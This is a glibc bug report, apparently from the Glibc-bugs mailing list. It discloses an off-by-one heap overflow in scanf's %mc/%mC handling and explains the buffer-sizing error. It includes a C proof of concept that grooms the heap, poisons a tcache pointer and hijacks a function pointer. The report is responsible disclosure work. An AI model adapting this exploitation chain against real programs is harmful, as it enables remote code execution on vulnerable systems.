[Bug stdio/34008] New: stdio-common: scanf %mc pattern will cause heap overflow when width > 1024

marocketbd at gmail dot com sourceware-bugzilla@sourceware.org
Thu Mar 19 17:36:01 GMT 2026


https://sourceware.org/bugzilla/show_bug.cgi?id=34008

            Bug ID: 34008
           Summary: stdio-common: scanf %mc pattern will cause heap
                    overflow when width > 1024
           Product: glibc
           Version: unspecified
            Status: UNCONFIRMED
          Severity: normal
          Priority: P1
         Component: stdio
          Assignee: unassigned at sourceware dot org
          Reporter: marocketbd at gmail dot com
  Target Milestone: ---
             Flags: security?

In vfscanf-internal.c, when reading input via %WIDTHmc or %WIDTHmC, it reallocs
one byte less than WIDTH, which leads to off-by-one overflow, may allowing
attacker to trigger RCE. Down below I attached a poc to demonstrate the chain
from a scanf format to pointer hijack.

This bug originate from glibc 2.6, commit 874aa52349c. It seems that the coder
thought one byte in stream has been consumed, so only `width - 1` bytes should
be expanded, however, actually the byte is written after the string expands, so
allocates one byte less. There are 3 code points in stdio-common, one is at
line 859.

Take an example from poc, for a pattern like `%1033mc`, `&buf` should be
written a string pointer, the `*strptr`. `strsize` is the current size of
allocated string buffer, `str` is the current cursor where next char from input
should be written, `width` is the remaining count of bytes to read. To clarify
the bug, we could assume WIDTH is 1025, so `newsize == 1024 + (1 - 1)`, no
expansion; but at line 894, the byte is written into `str` (`str == *strptr +
strsize`), leading into one byte overflow, controlled by user.

This could be a vulnerability when coder use glibc and the WIDTH equals to
0x..8 (but must be greater than 0x400 to cause `*strptr` to expand), so the
next chunk size could be written; or even worse, in the %mC path, user could
take control of next 4 bytes. The poc down below indicate this case.

I'll soon send a patch to fix this problem, and please reply if a regression
test is needed.

---

#include <assert.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static void normal_func(void) {
    puts("We are safe :)");
}

static void malicious_func(void) {
    puts("Got hijacked!!");
}

#define width 0x409
int main(void) {
    __attribute__((aligned(16))) void (*func_ptr)(void) = normal_func;

    char *buf = NULL;
    char *input = malloc(width + 1);
    if (input == NULL)
        return 1;
    memset(input, 0x61, width);
    input[width] = '\0';

    // layout heap...
    size_t *chunk1 = malloc(0x408);
    size_t *chunk2 = malloc(0x28);
    size_t *chunk3 = malloc(0x28);
    size_t *chunk4 = malloc(0x28);
    free(chunk1);
    free(chunk4);

    // before off-by-one: [chunk2   ][chunk3   ]
    int rc = sscanf(input, "%1033mc", &buf);
    assert(rc != -1);

    // release [chunk2   [chunk3   ]]
    free(chunk2);
    free(chunk3);

    // now hijack chunk3->fd via chunk2
    chunk2 = malloc(0x58);
    chunk2[6] = (size_t)&func_ptr ^ ((size_t)chunk3 >> 12);

    // allocate chunk3 back, which is now at &func_ptr, write with another func
    size_t *chunk5 = malloc(0x28);
    chunk3 = malloc(0x28);
    *chunk3 = (size_t)malicious_func;

    func_ptr();

    free(buf);
    free(input);
    return 0;
}

-- 
You are receiving this mail because:
You are on the CC list for the bug.


More information about the Glibc-bugs mailing list